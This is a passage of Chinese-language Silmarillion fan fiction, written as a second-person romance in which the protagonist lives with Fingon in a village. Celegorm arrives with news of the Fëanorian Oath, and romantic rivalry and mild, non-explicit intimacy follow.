你们又聊了些有的没的,比如说谁家养的小猫小狗产仔了,又比如说等桥建好了该怎么庆祝。 芬巩聊得有些心不在焉,他都在想你的伤势,等到晚上,等到你洗漱完毕以后他在主动来到你的房间,你们在这个小村庄里有一座小房子,分两层,你和芬巩的房间在二层,平常没事他也不会来你的房间。 怎么说呢,虽然芬巩对你的态度软化,但你要是不采取点行动估计好感度就要一直卡在某个数字一动不动了,所以你才决定在今晚取得突破性进展。 芬巩先是敲了敲门,询问道:“我现在可以进来吗?” 你走去开门,门外的芬巩身上穿的睡衣和你用的是同一匹布做成的,因此看上去还有点像是情侣装。 要真的是情侣装就好了,那你就没必要那么费尽心思了。 你一开门就听见芬巩问道:“你的腰伤还在痛吗?” 所谓的扭到腰也只是你找的一个借口而已,没成想芬巩却当真了,还一脸严肃地拿着药膏过来找你,这都让你有点愧疚了,但也只是一点点而已。 你说:“还好,见到你就好多了。” 芬巩认真思考几秒,大概是在想他的到来和你的腰伤好转之间是否真的存在联系。 这联系会不会太牵强了?芬巩又与你四目相对,你的头发刚洗过烘干,看起来柔顺蓬松,伴随着你的走动散发着淡淡的香味,见你对他做了个请的手势,芬巩就跟着你的脚边走到房间里。 啪地一下,门被关上,你坐在床沿,笑盈盈地示意他在旁边坐下,芬巩这时候终于发现了一些不对劲的地方,他说:“其实不存在腰伤对吗?” 你故作惊讶道:“居然被你发现了吗,我还以为得要等到我主动说明的时候你才能发现呢。” 芬巩说:“你不应该拿受伤作为借口的。”他宁可自己受伤也不想看到你受伤。 “好吧,那我向你道歉。”你没什么诚意地和芬巩道歉,芬巩再怎么仔细听都没难以找出这其中的诚意,因此他可以肯定你这是在敷衍他。 那么现在的问题就变成了你找来他的真正目的是什么。 这个问题很快就有了答案,因为你的手掌贴着他的手背,芬巩说:“或许我应该走了。” “唉,你就那么厌恶我么?”和芬巩相处下来你早已摸索出拿捏他的正确方法,那就是以退为进。 闻言,芬巩当即就解释道:“不,我不讨厌你。” 紧接着你就从善如流地偷换概念,说:“那你既然不讨厌我,那也不应该躲开的。” 芬巩叹息一声,“可是如果这样的话,我们的关系就没有任何退路了。” 你压根就没想过退路,你都已经重开到异世界了,上辈子憋屈的日子过太久,你现在只想随心所欲地生活,怎么高兴怎么来。 所以你顾虑的东西没有芬巩想的那么多,你握住他的手腕,说:“好啊,那就没有退路吧。” 芬巩应该推开你的,但是他好像有些做不到,究其原因是什么他不愿细想,只是当他的身躯陷入柔软的床铺里,当你的黑发因为俯身垂落在他的侧脸,他只觉得自己的心跳加速,你的手掌勾起一缕他的长发,像是在认真比对你们同为黑发到底有什么区别。 看来看去,你得出结论,说:“你的头发似乎更加漆黑一些。” 然后就像是失去了兴趣将那一缕头发放下,指尖在他的脖颈还有锁骨流连。 脆弱的,同时也是美丽的脖颈因为你的触碰而轻轻战栗。 你贴心地在他的耳边安慰道:“别害怕。” 但他真的是在害怕吗?芬巩的内心也不由得产生疑惑,他的战栗并非恐惧,而是源于对未知的,接下来会发生的事情所产生的朦胧不清的期待。 他无法直接亲口对你说自己这是在期待。 你未曾见过芬巩的母亲,但你觉得他的长相应该更多地遗传了他的母亲,他的五官组合起来气质温和端丽,不像费诺里安是强势的,咄咄逼人的精致锐利长相,你的手指沿着脖颈向上,摩挲他的侧脸,最后手指抵着他的嘴唇。 轻轻研磨。 就连亲吻也是轻飘飘的,在间隙里芬巩缓慢地眨了一下眼睛,床头暖黄色的灯光晕染出朦胧美好的氛围,他尝试着回应你的吻,尽管动作还有些生疏青涩,他甚至还捕捉到了你笑起来的气音。 你在笑。 他得承认自己确实没有这方面的经验,他只是听从自己的潜意识,听从自己内心的情感,任由其驱使着自己,以此来完成这个吻。 结束这个吻后你伸手抚摸他的头发,夸奖道:“你做得很不错。” 难不成你对其他的精灵做这种事情的时候也会那么说吗?非常不合时宜的,芬巩的脑海里突然冒出这个想法,他又拐弯抹角地问道:“你……经常那么说吗?” 你又亲了亲他的侧颈,这次几乎是贴在他的耳边说话的,你说:“你是想问我还对别的精灵说过吗?那我可以很肯定地告诉你没有。” 被看穿心思的芬巩不说话了,你也顺势跨着坐。 看着他的双眼一点点地被染上情.欲的色彩。 听他不怎么规律的呼吸声,最后笑盈盈地亲吻他的额头,说:“谢谢你招待我。”旋即起身要往浴室走,但是芬巩忽然抓住你的衣角,说:“只是……招待吗?” 不要在这时候咬文嚼字啊,你只是开个玩笑而已,你说:“只是玩笑话而已。” 芬巩还是没送开手,他说:“那我和你一起去浴室。” 你缓缓打出一个问号。 第55章 “誓言开始折磨费诺里安了。” 芬巩前后的变化巨大以至于你都要怀疑他是不是被夺舍了, 你微微眯起眼睛,说:“我都没想过你还会说这种话。” 也不知道芬巩是怎么理解你这句话的,他垂下眼帘,说:“是我让你感觉到冒犯了吗?” 冒犯那倒没有, 你只是感到惊讶而已, 你想了下,最后也没有拒绝他, 而是主动牵起他的手往浴室里走去,浴室不算太宽敞,容纳你们两个有些勉强,你不由地开始怀念在精灵宫殿时的浴室了, 唉,真是由俭入奢易, 由奢入俭难啊。 芬巩倒是没有这方面的困扰,和你挤挤挨挨地凑在一块泡澡甚至还在浅笑,你单手托腮,问道:“这有什么好笑的?” “我只是觉得有些高兴而已。” 闻言,你缓缓向芬巩靠近,你们之间本来就离得近,现在你又主动靠近,距离不断缩短,最后就变成鼻尖抵着鼻尖的程度了,你呼出的气息掠过他的脸颊,他也有些好奇你下一步究竟要做什么,于是静静地等待着。 你轻轻地咬了他一口,咬在脖颈,没怎么用力,就像是在开玩笑,芬巩说:“你怎么突然咬我?” “你难道不会有这种感觉吗?当特别喜欢什么东西的时候就想要咬一口。”你以前对可爱的猫猫狗狗也会产生这种想法,大概是刚才某个瞬间的芬巩显得太可爱了一点,所以你决定咬他一口。 你大大方方地表示他大可以咬回来,芬巩尝试了一下,没忍心,最后咬人变成亲人,还不止一个亲吻,他是那么慷慨的,以德报怨的精灵,你咬他一口他还能还你那么多轻吻。 直到泡澡水变冷,你们才慢吞吞地离开浴室,你有点困了,不是疲惫带来的困意,而是在身体得到放松以后旋即袭来的睡意。 简而言之就是贤者时刻结束后格外想要睡觉。 你差点就要倒头就睡,但芬巩从身后抱住你,说:“你要睡了吗?” 这不是很显而易见的事情吗?你翻个身和他面对面,你戳了戳他的脸颊,“又怎么了,我的王子殿下?” 芬巩听出你的调侃,在黑暗中的他笑得眉眼弯弯,他说:“王子殿下?这个称呼倒是新奇,你之前似乎都没那么叫过我。” 你的手指又在绕着他的长发,这些小动作无一不透露出你现在轻松愉快的心情。 “难道你不是吗?我只是实话实说而已。” 芬巩说:“那你对……”话没说完,他的表情发生细微的变化,是的,他似乎想到了什么,你是否也曾经对其他精灵说过这种话呢?或许是迈兹洛斯,又或者是玛格洛尔,反正他不可能是那个第一个幸运的精灵。 为什么在短暂的拥有幸福以后就又会开始纠结在意这些细节呢?芬巩不明白。 他唇角的笑容淡去,所幸是在黑暗中,你应该看不清他的神情,但也恰恰是因为屋内漆黑,你都不知道他在纠结什么,你只是在安静的氛围中逐渐睡着。 尽管你们之间的距离那么近,可心里却装着完全不一样的事情。 同床异梦大概就是这样的吧。 一夜过去,你睡得香甜,芬巩心事重重,但因为熬夜对精灵来说没什么影响,所以面上也看不出来他昨晚都没睡好,你醒来以后也没打算马上起床,一醒来就起床,这种事情谁能做到啊? 虽说这个世界没有手机,但这不妨碍你继续保持赖床的习惯。 你侧躺着,大半张脸都埋进柔软的枕头里,你的视线也被枕头遮挡一大半,芬巩说:“还要再休息一会吗?” 按照每天的日常你待会就该出发去河边帮忙搭建桥梁了,其实一天要忙活的事情还真不少。 你把自己的整个脑袋都埋进枕头里,长叹一口气,说:“唉……我想和你多呆一会。” “好啊,那就多呆一会吧。”芬巩应了一声。 也不知道过了多久,反正你没怎么仔细看时间,芬巩轻轻地抚摸你的头发,说:“差不多该起床了。” 行吧,起床就起床吧,你一鼓作气直接起床,洗漱,然后再换一身衣服,这一系列动作如同行云流水,芬巩的效率比你还要高,在你换好衣服后他就差不多在准备早餐了。 早餐也很简单,就是烤面包还有奶酪和培根,再加上一杯蜂蜜水。 吃过早餐也该出门去河边开始今天的工作了,真的工作起来时间就过得飞快,倒不如说在这种平静安逸的环境下人会失去对时间的敏锐感知力。 而平淡的生活在某个时间节点也迎来一段小插曲。 那天你还在菜园子里忙活,村镇旁边的桥已经建好,前天才举办了庆祝仪式,目前村镇里也没有什么大工程需要推进的,你可以安心打理自己房屋后面的菜园子了。 忽然有村民跑来说是突然来了个陌生的精灵而且还和芬巩在小镇入口发生了口角。 你把剪刀放到篮子里,然后站起身,询问那个村民,“那个陌生的精灵长什么样?” “嗯……就是一头金发,脾气很暴躁。”村民回忆了一下,给出这两点特征,你仅凭两点特征一下子就猜出找过来的精灵是谁。 金发,而且还暴脾气,那不是凯勒巩还能是谁呢? 你对村民说:“别担心,这件事情我能解决,你先去忙别的吧。” 你这也不是在说大话,毕竟你和凯勒巩相处过好一段时间,把他的性格摸得一清二楚,知道要是他炸毛了该怎么顺毛。 但当你来到小镇入口的时候还是低估了凯勒巩这次的炸毛程度,你当即就想转身走人,但是眼尖的凯勒巩一眼就看见了你,大声呼唤你的名字,“苏尔——!” 叫那么大声你都不能装自己没听见了,唉,真麻烦,你在心里叹一口气,然后走上前,还好,他们两个精灵还没演变到真的打起来的程度,在你到来之前也只是口头争论而已。 也不是很严重。 你朝着芬巩和凯勒巩走去,后者说:“我们给你写的信你为什么一封都没回?该不会是这家伙把我们写给你的信都给拦截了吧?” 凯勒巩二话不说就开始甩锅,他合理怀疑就是芬巩从中作梗,否则你怎么可能一封信都不回复呢?他愈发肯定自己的猜测。 芬巩说:“你所说的事情我从来都没有做过。” 凯勒巩冷笑一声,又看向你,“那苏尔你来评评理。” 啊?你来评理吗?你又不是什么判官。 此话一出不光是凯勒巩在看你,就连芬巩也将视线投向你。 不要这样齐刷刷地盯着你看啊。 你有点后悔了,不该来凑热闹的,他们要扯头花就扯头花吧,要打架就打架吧。 在他们注视下你终于开口了,你说:“我相信芬巩不会做这种事情。” 再说了,就算他有这个想法又怎么做得天衣无缝呢?所以光是想想也会觉得凯勒巩的推测是缺少逻辑性的,准确来说就是他需要一个理由来攻击芬巩,而这恰好是个非常适当的理由。 至少在他看来很适当。 凯勒巩也没想到你居然完全站在芬巩那边,一点犹豫不决都没有,他说:“你就那么相信他?” 很好,这是他二度炸毛的前兆,你说:“你专门找过来就是为了和我吵架的吗?我想你肯定没有那么幼稚吧?你来这里还是带着别的事情来的吧?对了,你的哥哥还好吗?” 你一口气抛出很多问题,凯勒巩将自己的注意力转移到你问的那些问题上,前脚还在生气的他后脚就开始认认真真地回答你的问题。 他说:“是的,我当然还带了别的事情过来的,还有,你问的是我的哪个哥哥?” “迈兹洛斯和玛格洛尔都还好吗?” “好不到哪里去。”凯勒巩回答还带着几分赌气。 你当即就做出最坏的猜想,难道是他们死去了吗?但现在魔苟斯都已经被你解决,还有什么能够威胁到他们的生命呢?总不可能是因为心碎而死的吧? 如果真的是这样你不相信凯勒巩还能有闲工夫和芬巩吵架。 所以你配合地问道:“他们怎么了?” “誓言开始折磨费诺里安了。”凯勒巩的一句话夹杂了很大的信息量。 芬巩听到这话也不由地开始担心,他说:“那迈兹洛斯他……” 凯勒巩瞥了芬巩一眼,就像是在无声地说:没和你说话你开什么口? 迈兹洛斯毕竟是芬巩的挚友,他当然会担心自己的朋友,他说:“他还好吗?” “这件事情和你无关。”凯勒巩凉飕飕地说。 你打了个暂停的手势,说:“凯勒巩你还是先把事情的来龙去脉都和我说一遍吧。” 凯勒巩也还算认真地和你说起在你带着芬巩离开以后发生的事情,比如说索伦带着三颗精灵宝钻来到多瑞亚斯,将宝钻献给辛葛王,又借此机会挑起多瑞亚斯和费诺里安之间的矛盾。 你听完这些的第一感受就是后悔当初没有直接解决了索伦。 第56章 “我似乎没有承担你们生活不幸福的义务吧?” 索伦擅长阴人这点你是知道的,但万万没想到这家伙居然能惹出那么多的事情来。 不过你生气归生气,毕竟他也没招惹到你头上,所以你表现出来的态度还带着点事不关己的意味,你听凯勒巩说完,然后说:“但这是需要你们精灵自己解决的事情了。” 凯勒巩没想到你会那么说,不光是凯勒巩感到惊讶,就连芬巩也是,他惊愕地看向你,像是不明白你为什么那么说。 凯勒巩的反应就更加激烈了,他说:“……你是在开玩笑吗?这个玩笑一点也不好笑。” 嗯?你看上去很像是在开玩笑吗?你对着凯勒巩摇了摇头,说:“我没在开玩笑。” 这下子凯勒巩唇角勉强的笑容都消失了,他不可置信地说:“我知道你会移情别恋,但是,现在你为什么还能说出这种话?你这个人……你到底有没有心?” 他怎么和他的哥哥一样总是冷不丁地来一句咯噔台词? 你摊手,用无奈地询问他:“那你又想要我做出什么反应呢?当场难过到落泪吗?” 凯勒巩的嘴唇动了动, 他半天没有找回自己的声音。 芬巩在这时握住你的手腕,又对凯勒巩说:“抱歉,我要和苏尔单独谈一下。”说完就拉着你的手往旁边走去。 他好像在生气, 你感觉到了这一点, 对于他的生气你内心更多的是好奇。 谁让芬巩平常脾气太好, 上回农户的羊把他的头发当成草嚼了好几下他都没生气,甚至还能温柔地抚摸羊的脑袋。 所以生气的芬巩对你来说简直就是一道鲜少见到的风景线, 你问道:“你生气啦?” 芬巩没说话,又拉着你走了一段路,确保凯勒巩不会听见你们的对话以后他才开口, “对,我在生气,我在气你把感情当成游戏,而且我不信你对迈兹洛斯他们一点感情都没有,哪怕你……真的移情别恋。”说到这里的时候芬巩停顿了一下,可能是因为他正是那个移情别恋的对象,但他很快调整好自己的语气,又说:“你也不念及旧情吗?” 现在的情况让你有些茫然了,所以他这是在劝说你去到迈兹洛斯身边吗? 真是个心胸宽广大度的精灵啊,你想。 你说:“我可以认为你这话是希望我去帮助他们吗?” 芬巩皱眉,“我不是在对你下命令。” 你反握住芬巩的手腕,说:“那你就不担心我一去不返了?你说让我念及旧情,那你就不怕变成旧情复燃?” 真是没救了,你和精灵混在一起的时间久了就连自己说话也变得咯噔起来,算了,咯噔就咯噔吧。 芬巩显然有些犹豫,他说:“我……” “看吧,果然你还在担心,而我也恰恰考虑到了这一点。”你装出一副体贴的模样,实则也只是为了看好戏而已,而且你要是真的这么做了,那万一一个不留神把所有攻略对象的好感度都刷满了可怎么办? 你在异世界过得随心所欲可不想再回到现实世界过憋屈生活了。 所以你现在就跟学生时代的天才学生控分一样控制不同攻略对象的好感度。 芬巩虽然纠结,但最后还是说:“但是,即便如此,我还是希望……” “你希望是一回事,我该怎么做就是另外一回事了。”说到底你想怎么做,想做什么都是出于你个人的意愿,其他人类亦或是精灵都无法影响你的决定,芬巩也清楚地认识到这一点,他垂下眼帘,低声对你说抱歉。 “但你肯定也会去帮助迈兹洛斯的不是吗?”你也正是认定了这一点才置身事外的。 你说得对,他确实会帮助迈兹洛斯。 在你和芬巩聊天聊到一半的时候凯勒巩又凑了过来,他对你说:“他又对你说了什么?”听这话的意思显然是在怀疑芬巩对你说了些挑拨离间的话。 凯勒巩压根没有意识到自己这是在痛击我方队友,你说:“没什么,对了,你一路赶过来肯定也累了吧,不如坐下喝杯茶休息一下吧。” “你又在顾左右而言他了。”凯勒巩说话的声音闷闷的,甚至听起来还有一股可怜兮兮的感觉。 “我是真的在关心你,你看你,风尘仆仆的,肯定是赶了很久的路才过来的吧?” 一听你说他风尘仆仆的,凯勒巩就又开始在意自己的形象了,他忙不叠地问道:“你是说我现在的样子很狼狈吗?” 要说形象包袱,凯勒巩的形象包袱绝对是最严重的一个,他的其他兄弟都没办法与之一战。 你仅凭三言两语就轻轻松松地将话题转移到别的地方,凯勒巩也跟着你们来到小屋,他一走进门就知道这是你和芬巩居住的地方,环视四周的眼神带着一股审视的意味,在芬巩询问他要喝什么品种的茶水时他的回答也带着几分火药味,他说:“随便。” 芬巩也是个好脾气的精灵,当然也有可能是看在凯勒巩是迈兹洛斯弟弟的份上才那么容忍对方的。 趁着芬巩去泡茶的间隙凯勒巩又与你搭话,“你这些天就和他生活在这里吗?” 在凯勒巩看来这样的生活条件简直就是折磨,他无法理解你居然还能忍受,你走到后院的菜园子里继续摘菜,凯勒巩就跟条小尾巴似的跟过来,你没回应他也还是继续碎碎念,说:“生活在这里真的幸福吗?看样子芬巩他对你一点也不好。” 刚才还在指责芬巩挑拨离间呢,现在他说的话不也是在挑拨关系吗?你听得有点烦了就把剪刀递给凯勒巩,说:“别废话了,快点过来给我帮忙。” 凯勒巩总算是消停了一会,搬了个小马扎坐在你身边,学着你的样子摘菜,时不时还抬头看看你,欲言又止,但总觉得自己再说点什么你可能会生气,于是把要说的话都给咽了下去。 于是乎等芬巩端着托盘来到后院的时候就看见你和凯勒巩安静摘菜的画面。 真是稀奇,凯勒巩居然也会有这么听话的一面。 芬巩的到来混杂着淡淡茶香,他说:“茶泡好了,来喝点茶吧。” 你从芬巩手里接过茶杯,凯勒巩也不情不愿地接过茶水,你们三个坐在院子里难得相安无事地喝了一会茶,眼看天色渐晚,也差不多到了准备晚餐的时候。 凯勒巩擅长制作烤肉,你就往晚餐的菜单上添加了一道烤肉,还有其他的烤蔬菜。 忙活了一阵子,等真的坐下来吃晚餐的时候外面的天空已经彻底暗了下来,房子里也点起灯火,凯勒巩的情绪起伏倒是没有下午见面时那么大了,但他还在盘算着怎么说服你回去,要不是他的武力值敌不过你,估计他会使用其他旁门左道的方法的吧。 吃过晚餐,芬巩在厨房里收拾餐具,你站在后院赏月,凯勒巩说:“如果你当初收到了那些信,你会来找我们吗?” 他还是没放弃从你嘴里听到哪怕一丝一毫的肯定,就算你对他说谎那也是好的,至少他在情感上也能接受,但是偏偏你在面对他的时候甚至都不屑于说谎,你就是实话实说,“大概率不会。” 但没关系,凯勒巩有开解自己的方法,那就是挑自己喜欢听的话听进去,至于那些不中听的,那就直接过滤掉,装作什么都没发生的样子。 现在也是这样,你说大概率不会,落在凯勒巩的耳朵里就变成了你有概率会去找他们,从这个角度理解他的心情一下子就好了起来,甚至还唇角微微上扬,带着点喜悦的气息,他说:“那我知道了。” 他真的知道了吗?而不是误解了什么吗?你狐疑地看了凯勒巩一眼,发现他笑得那么开心,你一下子就能肯定他绝对是误解了什么。 算了,还是不要戳穿了吧。 后来你又和凯勒巩聊了些有的没的,他经常提起自己的兄弟,比如说迈兹洛斯又比如说玛格洛尔,前者在你离开以后很快调整好状态,至少在表面上看来是从你的背叛中恢复过来,至于后者,说起玛格洛尔的时候凯勒巩的表情变得有些微妙,他说:“你知道玛格洛尔经常在夜里弹奏竖琴吗?我每次去拜访他晚上都会听见那哀怨的琴声。” 起初凯勒巩还以为玛格洛尔是故意的,专门挑选在他来拜访的那几天弹奏竖琴,后面询问了玛格洛尔的下属才明白这不是针对,而是他一直以来都是这样的,在你走后晚上弹琴纾解自己心头的失落。 你听凯勒巩那么说,眼前似乎又浮现出玛格洛尔在月光下波动琴弦的画面。 “是么,看起来他们似乎生活得也挺好的。” 凯勒巩睁大眼睛,这叫做生活得也挺好的?他都已经说得那么详细了你居然还觉得他们生活愉快吗?他们的哀伤已经快要掩藏不住了,而你却…… “他们那么痛苦,在你眼里居然是生活幸福?” 你侧过头,对凯勒巩说:“我似乎没有承担你们生活不幸福的义务吧?” 第57章 只是一个拥抱就那么高兴了吗? 凯勒巩哽住了,他终于意识到自己再怎么劝说你都是没用的,他说:“那你会一直待在这里吗?” “目前看来我还要在这里生活一段时间。”你眺望远方,视线落在炊烟袅袅的村庄剪影上,毕竟你不也是那种半途而废的人,既然决定要建设这里那肯定是要做到底,就算是要走那估计也是等到建设得差不多了才走。 凯勒巩将刚才的失落收起,突然对你说:“那我也会在这里陪伴你的。” 闻言,你缓缓打出一个问号,什么叫做也会在这里陪伴你?他不是来传信的吗?按理来说信息传达了他也应该走了吧? 你略带疑惑地眨眨眼,凯勒巩也学着你的样子眨眼,但不是疑惑,更多的是狡黠。 “你……就不担心自己的兄弟吗?”你问道,“按照你刚才所说的,他们应该生活在痛苦之中,你就不不想着回去和他们一起商讨怎么破解诅咒吗?” 凯勒巩可能是真的经过深思熟虑的,也可能是在和你赌气,他说:“你怎么现在又突然那么关心他们了?刚才你还置身事外呢,现在反倒是劝说我回去,我知道了,你就是担心我打扰你和芬巩的幸福生活吧?” 说到最后他都忍不住冷笑一声。 你也没见过这么理直气壮的电灯泡, “你自己已经把正确答案说出来了,我又还能说些什么呢?不过你要留在这里也行,就是态度得好一些,尤其是对这里的村民,别总是高高在上的样子,否则——” “否则什么?” “否则我就只能狠狠教训你一顿了。”你说这话是在威胁凯勒巩,但在他听来好像变了一层意思,因为他的表情微妙,连带着你看到他的表情也觉得奇怪,就问:“你那是什么表情?” “没什么。”凯勒巩急忙回答,“什么都没有。” “所以听你的意思是同意我留在这里了?”凯勒巩话锋一转,又回归正题。 什么叫做你同意他留在这里,难道不是就算你拒绝他也会留下来吗? 有点像狗皮膏药。 “如果我说让你离开,你真的会走吗?” “当然不会。”凯勒巩秒答。 那不就好了。 在你和凯勒巩有一搭没一搭聊天的间隙里芬巩已经洗干净餐具,顺便把厨房还有餐桌都收拾了一遍,这才走到你身边,说:“所以今天他要在这里留宿对吗?” 芬巩直接跳过凯勒巩和你说话,仿佛你才是这里最终决定人,而事实也的确如此。 一旦你不同意,芬巩也会动用一些特殊手段“请”凯勒巩离开这里的,只需要你表明态度就行。 可你却说:“是啊,今天就让他在我们这简陋的住所里留宿一晚吧。” 凯勒巩听出来你这是在揶揄,就解释道:“我可没有说这里简陋。”他只是觉得你生活在这里太可怜了而已。 “好了,那我接下来就带你去客房吧。”芬巩接过话头,芬巩也不是完全没脾气的精灵,之前凯勒巩那尖锐的言辞也让他改变自己的态度。 凯勒巩心说这么小的房子里还有什么客房,就算有也没必要专程带着去吧。 等来到二楼的客房门口,芬巩说:“这就是客房了。” 凯勒巩站在门口朝着里面看了一眼,又忽然说:“真是可惜。” “可惜什么?” “一想到她和你待在一起只能生活在这种地方我就为她感到可惜。”鉴于你现在不在场,凯勒巩说话更是尖酸刻薄。 但这样的话还不至于激怒芬巩,他说:“如果有什么需要的那就请和我说吧。” “我需要把她带走,不光是我需要她,其他的费诺里安也需要,你明白我的意思吗?”凯勒巩顺着芬巩的话头说。 原本已经打算转身离开的芬巩又说:“你好像从来没有问过她为什么会呆在这里,一找过来就说要带她离开,也难怪她会觉得你烦人。” 凯勒巩怎么也没想到芬巩还会主动出声讽刺,不过也是,现在你不在,他也没必要再装出一副温和的样子。 果然还是暴露出真实一面了对吗? 凯勒巩说:“你说的话又是什么意思?难道你就比我更加了解她吗?别自以为是了。” 芬巩用眼角的余光扫了一眼周围,确认你应该还在楼下才继续说:“我从来没有说过我有多了解她,我只是站在她的角度考虑问题而已,” “说得那么冠冕堂皇,你也不担心到时候她玩腻了也把你给丢掉吗?”凯勒巩说这话的时候带着几分恶意,甚至是期待,他在期待着芬巩日后被你抛弃,他又会是什么反应呢? 凯勒巩那看似挑衅的话语在芬巩听来更像是在垂死挣扎,他说:“但至少我不会像你那样,好了,祝你今晚能有个好梦。” 说完这话芬巩就转身离开,根本就没有给凯勒巩回答的机会,又或者说他用无声的行动表明自己一点也不想听凯勒巩废话。 凯勒巩的到来为这个原本平静的小村庄带来一丝丝的变化,至于这变化到底是好的还是坏的你也不能很肯定,毕竟凯勒巩的脾气摆在那里,但你事先和他打过招呼,他对村民的态度倒是没什么问题,就是一遇到芬巩就会开始冷嘲热讽。 这扯头花的戏码到底要持续到什么时候?老实说你都有点看腻了。 这天傍晚在你回到小木屋的时候发现凯勒巩和芬巩这两个精灵居然没有吵起来,还真是蹊跷,你对着给餐桌铺餐布的芬巩说:“今天凯勒巩有对你说什么话吗?” 芬巩知道你这是在关心他,就说:“没有,他什么话都没和我说。” 这也姑且算是一件好事吧,毕竟比起吵起来,他们俩一句话不说都算是和平的相处模式了。 你站在餐桌旁边和芬巩聊天,顺便再把你回来路上摘的花束递给芬巩,后者轻声问道:“这是送给我的吗?” “是啊。”你还有些奇怪芬巩为什么突然降低音量,下一秒凯勒巩就端着餐盘走出厨房,表情晦暗不明。 屋内略带昏暗的光线再搭配他那副幽怨的表情,你感觉自己好像误入了恐怖片的片场。 “可以吃晚餐了。”凯勒巩的语气轻飘飘的,你是真的觉得现在的凯勒巩比起以前的他情绪变得更加不稳定了。 这不是你的错觉,而是誓言反噬带来的影响,说实话你也不太明白为什么精灵宝钻都已经回到他们费诺里安的手里了誓言怎么还没有完成呢? 这是单纯出于好奇,你更好奇的是如果继续放任下去的话最后又会演变成怎样的结局呢? 当天晚上你半夜忽然惊醒,应该是做了噩梦,但梦境的内容在你醒来的一瞬间就被打乱模糊,一旁的芬巩还在熟睡中,你轻手轻脚地走出房间去楼下给自己倒杯水,去往餐厅的路上发现通往后院的门开着。 咦,奇怪,难道说你晚上上楼前忘记关门了吗?你走到那扇大开的门前,发现一道身影伫立在门外的院子里。 那是凯勒巩,看背影无比落寞的凯勒巩。 你主动走上前,问道:“大晚上的你不去休息还站在这里做什么?” 凯勒巩回过头,表情复杂,眼眸里带着几分哀伤,他说:“没什么,只是有些痛苦而已。” 这话被他说得轻描淡写,你说:“是身体上的痛苦吗?” “如果只是身体上的痛苦那就好了,至少这还有痊愈的一天,我说的是灵魂上的痛苦,是无法忽略的,也无法摆脱的痛苦。”此时的凯勒巩没了平日里那副气势汹汹的姿态,显得平静,又难过。 你似乎也被他的哀伤感染,说:“过来——”你原本只是想着拉着他去喝杯热水的,但他却自然而然地握住你的手,甚至还从善如流地抱住你。 莫名给你一种他预谋已久的感觉,他的手臂环绕着你的腰,用的力气不大,反正你可以轻轻松松地推开,但是你没有,你只是任由他抱住自己,你的手轻轻地拍着他的后背,就像是在安抚他。 他长久地没有说话,这样安静的氛围持续了很久,久到你都觉得有些不适应了,毕竟平常的凯勒巩可是很喜欢说话的,尤其是和你待在一块的时候恨不得一直和你聊天。 平常健谈的精灵变得沉默就让你觉得古怪不自然,你说:“你现在好点了吗?” 主要是你忽然想起来自己下楼是来倒水喝的,可不是和他待在后院里相互拥抱的,而且你还想等会继续去睡觉呢。 凯勒巩说:“再多一会。” 行吧,那你就待会去喝水吧,你抬头看月亮在夜空中的位置以此来估算自己接下来还能睡多久。 凯勒巩说到做到,这个拥抱真的只再持续了一会,他抬起头,视线越过你看向站在不远处的芬巩,挑起一边的眉,那表情摆明了就是在挑衅。 “你现在要去休息了吗?”凯勒巩的语气听上去好像很高兴的样子。 只是一个拥抱就那么高兴了吗? 第58章 “晚餐准备好了,然后,我还有件事情要对你说。” 在你的疑惑中凯勒巩松开手,表情神采奕奕,就跟比赢了什么似的。 在他走后你回过头一看,瞧见站在不远处的芬巩时一切了然,你说凯勒巩怎么突然变得那么高兴呢,原来是因为芬巩在场吗?不过他又是什么时站在你身后的呢? 凯勒巩从芬巩的身边擦肩而过, 毫无疑问的,他脸上的表情就是在挑衅。 怎么还是这么幼稚啊?你忍不住腹诽一句。 不过你知道芬巩可不是像凯勒巩那样容易闹脾气的精灵,而且刚才你也只是出于安慰凯勒巩才那么做的,你想芬巩肯定也是能够理解的吧?于是你若无其事地对芬巩说:“你怎么醒了?是我吵醒了你吗?” 芬巩说:“没有,你没吵醒我。” 话是这么说的,但芬巩一副“我心里装着事情”的样子让你很难装作没看见,所以你走到他面前,说:“虽然我不知道你在这里看了多久,但你是个宽容大度的精灵,总不至于因为这点小事就生气吧?” 芬巩的确心胸宽广, 但他真的能一点都不在乎吗?在感受到凯勒巩投来的挑衅眼神也能无动于衷吗? 他想说他也很在意,可那样你又会怎么想呢? 因此到最后他也没说什么,只是叹息一口气,然后牵起你的手,因为中间出现的小插曲让你都忘了自己下楼是来喝水的,等你上楼以后你才想起来,正要折返回厨房,芬巩就像是料到了你要去做什么,就说:“我已经给你倒了一杯水就放在床头。” 还是他想得贴心周到,你走回房间, 喝了两口水润润嗓子, 才放下水杯芬巩就从背后抱住你。 你收回之前那句话,芬巩也不是宽容大度到什么都能够容忍的地步,现在不是开始计较之前的事情了吗?你轻轻地叫了一声芬巩的名字,又拍拍他搭在你腰上的手臂,他没应声,仅有的回应是他浅浅的呼吸声。 但你就是能从他的呼吸声里读出他现在的心情,掺杂着不悦还有危机感的复杂情绪。 就不该半夜起来喝水的,你得出这个结论,又叫了他一声,这次他总算是有所回答,说:“凯勒巩,他诡计多端。” 芬巩就算是痛骂情敌也很有礼貌,顶多就是来一句诡计多端而已。 你都觉得好笑,心说这有什么攻击力,估计凯勒巩听了还以为芬巩这是赞美呢,你说:“就只是这样吗?” “我是看在他是迈兹洛斯弟弟的份上才欢迎他到来的,但这不代表我会无条件地包容他。” 你姑且把芬巩说的这话当成是在放狠话吧,虽然和你自己攻击敌人时说的垃圾话在攻击性上有着天壤之别。 你说:“我知道,你是个热情好客的精灵。” “但我也没那么好,至少没有你想的那么好。”芬巩别有深意地说,你表示同意地点点头,所以现在你能继续睡觉了吗?这两个精灵耗费了你不少的睡眠时间啊,你的耐心也要被消耗殆尽。 “是吗?但在我看来你很好。”说着,你还打了个哈切,再这样下去你估计明天早上醒过来又要萎靡不振了,你说:“好了,我要去睡觉了。” 说完这话你就退出芬巩的怀抱,投身被窝,不同于难以入眠的芬巩,你几乎在钻进被窝里没多久就沉沉睡去,你的睡眠质量无人能敌。 隔天早上醒来的你还算是睡眠充足,身边早已没了芬巩的身影,你走下床在睡衣外面披了一件开衫这才走下楼,凯勒巩在院子里料理花草,芬巩在准备早餐,新鲜牛奶在炉子上热着,加热后的牛奶香味更加浓郁,空气中都是牛奶的香甜味。 见你来了芬巩就给你倒了一杯热牛奶,又在餐盘里盛了一份培根和煎蛋,还有烤的金黄酥脆的面包片,上面涂抹着黄油罗勒叶。 